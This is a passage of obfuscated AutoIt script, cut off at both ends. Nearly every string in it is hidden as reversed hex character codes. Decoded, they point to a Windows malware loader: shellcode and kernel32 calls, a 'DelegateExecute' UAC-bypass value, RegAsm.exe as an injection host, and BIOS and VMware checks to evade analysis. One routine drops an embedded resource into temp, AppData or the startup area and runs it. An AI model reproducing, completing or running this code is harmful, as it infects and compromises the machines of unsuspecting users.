, EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $GVMAAESMQW FOR $FAEXIW_LGSFCCQV = 0 TO 11 $GVMAAESMQW &= CHRW ($NTFHLHYGAWHIBVHADOAX [$FAEXIW_LGSFCCQV ] ) NEXT RETURN $GVMAAESMQW ENDFUNC FUNC XPJVAVKWXDINEOXZILMZ () LOCAL $GRAVFPSZJIPJSILGKEOF [5 ] = [EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $GONQLDLNPO FOR $LURBTVRUYCEZHXB = 0 TO 4 $GONQLDLNPO &= CHRW ($GRAVFPSZJIPJSILGKEOF [$LURBTVRUYCEZHXB ] ) NEXT RETURN $GONQLDLNPO ENDFUNC FUNC ANPYBDLWQPCNKVDDSFWR () LOCAL $NDHLEDZRDJYNZKM_WICA [5 ] = [EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $WFDTYEUSGR FOR $DPMVMHENROUFWAA = 0 TO 4 $WFDTYEUSGR &= CHRW ($NDHLEDZRDJYNZKM_WICA [$DPMVMHENROUFWAA ] ) NEXT RETURN $WFDTYEUSGR ENDFUNC FUNC JSSCSXZRWZFDGOTZKKFA () LOCAL $ME_GIXU_QRWEGETXTERL [1 ] = [EXECUTE (STRINGREVERSE ("83x0" ) ) ] LOCAL $ESMUVCZBEC FOR $VRHLOEICFVDZSLE = 0 TO 0 $ESMUVCZBEC &= CHRW ($ME_GIXU_QRWEGETXTERL [$VRHLOEICFVDZSLE ] ) NEXT RETURN $ESMUVCZBEC ENDFUNC FUNC LOCZUQHAFTLBAQXIKJGM () LOCAL $GVUSBKWNPYIRYXZWHHWQ [51 ] = [EXECUTE (STRINGREVERSE ("84x0" ) ) , EXECUTE (STRINGREVERSE ("B4x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("95x0" ) ) , EXECUTE (STRINGREVERSE ("F5x0" ) ) , EXECUTE (STRINGREVERSE ("C4x0" ) ) , EXECUTE (STRINGREVERSE ("F4x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("C4x0" ) ) , EXECUTE (STRINGREVERSE ("F5x0" ) ) , EXECUTE (STRINGREVERSE ("D4x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("84x0" ) ) , EXECUTE (STRINGREVERSE ("94x0" ) ) , EXECUTE (STRINGREVERSE ("E4x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("84x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("75x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("94x0" ) ) , EXECUTE (STRINGREVERSE ("05x0" ) ) , EXECUTE (STRINGREVERSE ("45x0" ) ) , EXECUTE (STRINGREVERSE ("94x0" ) ) , EXECUTE (STRINGREVERSE ("F4x0" ) ) , EXECUTE (STRINGREVERSE ("E4x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("97x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("94x0" ) ) , EXECUTE (STRINGREVERSE ("F4x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) ] LOCAL $RTJXKUUKGK FOR $XEZONREZEI_OWRS = 0 TO 50 $RTJXKUUKGK &= CHRW ($GVUSBKWNPYIRYXZWHHWQ [$XEZONREZEI_OWRS ] ) NEXT RETURN $RTJXKUUKGK ENDFUNC FUNC STYSFUDHJFQEEHVFHBJG () LOCAL $HEPSXJMXKAYAPWUQFNGO [1 ] = [EXECUTE (STRINGREVERSE ("C5x0" ) ) ] LOCAL $NEFUWIGWIH FOR $PAGXSFEVIGWNLCZ = 0 TO 0 $NEFUWIGWIH &= CHRW ($HEPSXJMXKAYAPWUQFNGO [$PAGXSFEVIGWNLCZ ] ) NEXT RETURN $NEFUWIGWIH ENDFUNC FUNC PAGXJXKEQILHMOPRGOKA () LOCAL $PYBOWHWVAP_LGSCGPHBX [4 ] = [EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $RYSABAPEAI FOR $XMCDIBXAJZEMRAL = 0 TO 3 $RYSABAPEAI &= CHRW ($PYBOWHWVAP_LGSCGPHBX [$XMCDIBXAJZEMRAL ] ) NEXT RETURN $RYSABAPEAI ENDFUNC FUNC KAPAXVVKKURUUAHUWPMR () LOCAL $QW_JJJOLOGVBIUOXAPWW [9 ] = [EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("86x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) ] LOCAL $OAFRNHJWEZ FOR $LNMFXL_GYVWKRWN = 0 TO 8 $OAFRNHJWEZ &= CHRW ($QW_JJJOLOGVBIUOXAPWW [$LNMFXL_GYVWKRWN ] ) NEXT RETURN $OAFRNHJWEZ ENDFUNC FUNC OJYITSPFETMHIEEWMBNS () LOCAL $RVECSJRSVYEKMAHBUWVR [3 ] = [EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $SEWQJBXKGP FOR $WWAUZZZBVEJQPQY = 0 TO 2 $SEWQJBXKGP &= CHRW ($RVECSJRSVYEKMAHBUWVR [$WWAUZZZBVEJQPQY ] ) NEXT RETURN $SEWQJBXKGP ENDFUNC FUNC WHEUFDNYSTQUADRAKGPS () LOCAL $SULNHTXFEOJMXEYZSDST [15 ] = [EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("76x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("87x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) ] LOCAL $BWSNMFHTEJ FOR $FCFENGLKEEJOQFD = 0 TO 14 $BWSNMFHTEJ &= CHRW ($SULNHTXFEOJMXEYZSDST [$FCFENGLKEEJOQFD ] ) NEXT RETURN $BWSNMFHTEJ ENDFUNC FUNC CLUIKQKHNBM ($RESNAME , $AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBWILENAME , $ZZOGKTCRFACFMXEJQHXBOMRQRUWHFRWEUTONKJQUWLBMIKWQJOPHLLKM , $MDKRIGIKAQSEAGCJVDXKNGRNNZQBNZBGMKPINOYFOJN , $DIR ) $AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBWILE = $MPPVAAQFPZUTOFZDZCRLITFTQXMUXODSDBSCSSKJ (WRAGMFLVWUYVJXFUPRPSKYVDQVA ($RESNAME ) , 1 ) LOCAL $ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLMLNSTALDIR SWITCH $DIR CASE 1 $ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLMLNSTALDIR = @TEMPDIR CASE 2 $ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLMLNSTALDIR = @APPDATADIR CASE 3 $ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLMLNSTALDIR = @SCRIPTDIR ENDSWITCH $QZOFWLEKECUPEBZSDRZBEFJNHRAWCEGWRQGFTKDD ($ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLMLNSTALDIR & QSVTHFSFPBUDXVRRSVLB () & $AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBWILENAME , $AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBWILE ) IF $MDKRIGIKAQSEAGCJVDXKNGRNNZQBNZBGMKPINOYFOJN = FALSE THEN IF $ZZOGKTCRFACFMXEJQHXBOMRQRUWHFRWEUTONKJQUWLBMIKWQJOPHLLKM = TRUE THEN $XEEYNFJFOLPVCARRJIVDJVTNOMBZRNHSQUTNEOF ($ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLMLNSTALDIR & QSVTHFSFPBUDXVRRSVLB () & $AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBWILENAME ) ENDIF ELSE IF @SCRIPTDIR <> $STARTUPDIR THEN $XEEYNFJFOLPVCARRJIVDJVTNOMBZRNHSQUTNEOF ($ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLMLNSTALDIR & QSVTHFSFPBUDXVRRSVLB () & $AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBWILENAME ) ENDIF ENDIF ENDFUNC FUNC TICILKQOZEWJNTJSQF_Z () LOCAL $OHHWCKYAGSCGGCEGYSZN [8 ] = [EXECUTE (STRINGREVERSE ("B6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) ] LOCAL $LAGGAMQHGC FOR $QTY_AWBRICUHYSP = 0 TO 7 $LAGGAMQHGC &= CHRW ($OHHWCKYAGSCGGCEGYSZN [$QTY_AWBRICUHYSP ] ) NEXT RETURN $LAGGAMQHGC ENDFUNC FUNC UZBNEWGLDXSHTAMYSQWU () LOCAL $OSQCGPYGXQEAARANTRWX [3 ] = [EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) ] LOCAL $BJZGPY_ONS FOR $EYYTROAHVNYKDWF = 0 TO 2 $BJZGPY_ONS &= CHRW ($OSQCGPYGXQEAARANTRWX [$EYYTROAHVNYKDWF ] ) NEXT RETURN $BJZGPY_ONS ENDFUNC FUNC ZQMDVLZNXHKLZQLITWIX () LOCAL $VUBYOCVTLRESWWHY_LWF [54 ] = [EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("75x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("D4x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("66x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("E4x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("45x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("B6x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("67x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("76x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("87x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) ] LOCAL $EOOPSQGCFD FOR $ZFYQNTBGSUYIHRY = 0 TO 53 $EOOPSQGCFD &= CHRW ($VUBYOCVTLRESWWHY_LWF [$ZFYQNTBGSUYIHRY ] ) NEXT RETURN $EOOPSQGCFD ENDFUNC FUNC IKXLZHJWMBDQ_HKXUEXU () LOCAL $PHSNG_JKMWXMQNRWWBCF [62 ] = [EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) ] LOCAL $ASJE_Y_JQE FOR $GABMBWNFSBEPMKR = 0 TO 61 $ASJE_Y_JQE &= CHRW ($PHSNG_JKMWXMQNRWWBCF [$GABMBWNFSBEPMKR ] ) NEXT RETURN $ASJE_Y_JQE ENDFUNC FUNC UHHGHRHKRLFDGUCCWCGT () LOCAL $QC_NTLMEA_JLGDPZQEMK [3 ] = [EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) ] LOCAL $RHUNWFCKSB FOR $ADYNXGJSLRXRMDH = 0 TO 2 $RHUNWFCKSB &= CHRW ($QC_NTLMEA_JLGDPZQEMK [$ADYNXGJSLRXRMDH ] ) NEXT RETURN $RHUNWFCKSB ENDFUNC FUNC VAVRBTGERARFWVICIZIE () LOCAL $GRZFGFWSGRLDQHPQNTAX [17 ] = [EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("97x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("65x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) ] LOCAL $DBQLWWOY_P FOR $XNPTUUPMKXLJHUY = 0 TO 16 $DBQLWWOY_P &= CHRW ($GRZFGFWSGRLDQHPQNTAX [$XNPTUUPMKXLJHUY ] ) NEXT RETURN $DBQLWWOY_P ENDFUNC FUNC DGTEM_JOVQOTNMNJOOXU () LOCAL $ESZIGCXXBZFYSJCHWHEI [62 ] = [EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) ] LOCAL $LILXKCMMWL FOR $EUWWYUZKRBQJZHC = 0 TO 61 $LILXKCMMWL &= CHRW ($ESZIGCXXBZFYSJCHWHEI [$EUWWYUZKRBQJZHC ] ) NEXT RETURN $LILXKCMMWL ENDFUNC FUNC FOEERDPISVTBNOIRUXGE () LOCAL $RUJRGRLMFQLJWI_UENXU [14 ] = [EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("A7x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("66x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) ] LOCAL $LENYZRDCCJ FOR $WCUXJWBFKHBMGYI = 0 TO 13 $LENYZRDCCJ &= CHRW ($RUJRGRLMFQLJWI_UENXU [$WCUXJWBFKHBMGYI ] ) NEXT RETURN $LENYZRDCCJ ENDFUNC FUNC JDBMWFPFZBTPFONPTYHZ () LOCAL $RQKOTSBAFFDZLOHRMTPZ [2 ] = [EXECUTE (STRINGREVERSE ("65x0" ) ) , EXECUTE (STRINGREVERSE ("D4x0" ) ) ] LOCAL $TTNTEDO_UY FOR $IGEGWKQKUJJUUWW = 0 TO 1 $TTNTEDO_UY &= CHRW ($RQKOTSBAFFDZLOHRMTPZ [$IGEGWKQKUJJUUWW ] ) NEXT RETURN $TTNTEDO_UY ENDFUNC FUNC OHMWWBPLLEJBMWDXHWFE () LOCAL $FAQLALSIWPIXWOGQRCRV [4 ] = [EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $ORBVLIHPWW FOR $HRUGRWDCABXHULG = 0 TO 3 $ORBVLIHPWW &= CHRW ($FAQLALSIWPIXWOGQRCRV [$HRUGRWDCABXHULG ] ) NEXT RETURN $ORBVLIHPWW ENDFUNC FUNC JSDZBNAGIOMQYAPNDYKB () LOCAL $YZZWEPSZZVSSWKJEAVKC [6 ] = [EXECUTE (STRINGREVERSE ("65x0" ) ) , EXECUTE (STRINGREVERSE ("D4x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) ] LOCAL $KUHVMUBHNW FOR $ZFGNZLSBQXBHXOE = 0 TO 5 $KUHVMUBHNW &= CHRW ($YZZWEPSZZVSSWKJEAVKC [$ZFGNZLSBQXBHXOE ] ) NEXT RETURN $KUHVMUBHNW ENDFUNC FUNC RCCGOSRZVFDPHEUTK_IG () LOCAL $IWXKFZ_QLWVQBQNZEXKY [62 ] = [EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE 